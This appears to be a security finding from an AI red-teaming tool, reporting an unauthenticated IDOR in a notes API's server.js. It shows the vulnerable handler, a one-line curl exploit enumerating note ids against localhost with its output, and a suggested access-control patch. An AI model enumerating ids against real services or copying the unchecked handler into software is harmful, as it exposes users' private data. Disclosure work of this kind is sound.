Rook
AI red-teamer · 42nights

Unauthenticated IDOR on /api/notes discloses arbitrary users' private notes

high7.5

idor · server.js:48-53

Introduced in 15b34d5cc6 by 42nights on 2026-06-03

Summary

The /api/notes handler at server.js:48 reads an id from the query string and returns the matching note from NOTES with no authentication, session check, or owner comparison. Any caller can iterate ids and retrieve notes regardless of the note's owner or its private flag. Expected behavior is to require an authenticated principal and return a note only if its owner matches that principal (or the principal is otherwise authorized).

Impact. An unauthenticated remote attacker can enumerate note IDs (e.g., ?id=1, ?id=2, ...) and read every user's notes, including ones explicitly marked private. The validated response leaks Alice's private content ('bank pin 4821'); the same trick exposes any other secrets users have stored (SSNs, passwords, personal messages). This is a full confidentiality breach of user-private data with no credentials required.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/notes") {
🔴 const id = Number(q.id || 1);
🔴 const note = NOTES.find((n) => n.id === id);
🔴 if (!note) return send(res, 404, "no such note");
🔴 return send(res, 200, JSON.stringify(note), "application/json");
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/notes?id=2'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/notes?id=2'
HTTP 200  Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}

Confirmed: HTTP 200 application/json: {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Authenticate the caller and enforce owner-based access control before returning the note. Example patch:

--- a/server.js
+++ b/server.js
@@
   if (parsed.pathname === "/api/notes") {
-    const id = Number(q.id || 1);
-    const note = NOTES.find((n) => n.id === id);
-    if (!note) return send(res, 404, "no such note");
-    return send(res, 200, JSON.stringify(note), "application/json");
+    const user = authenticate(req); // resolve session/token -> username
+    if (!user) return send(res, 401, "authentication required");
+    const id = Number(q.id);
+    if (!Number.isInteger(id)) return send(res, 400, "bad id");
+    const note = NOTES.find((n) => n.id === id);
+    if (!note) return send(res, 404, "no such note");
+    if (note.owner !== user) return send(res, 404, "no such note"); // avoid existence oracle
+    return send(res, 200, JSON.stringify(note), "application/json");
   }

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.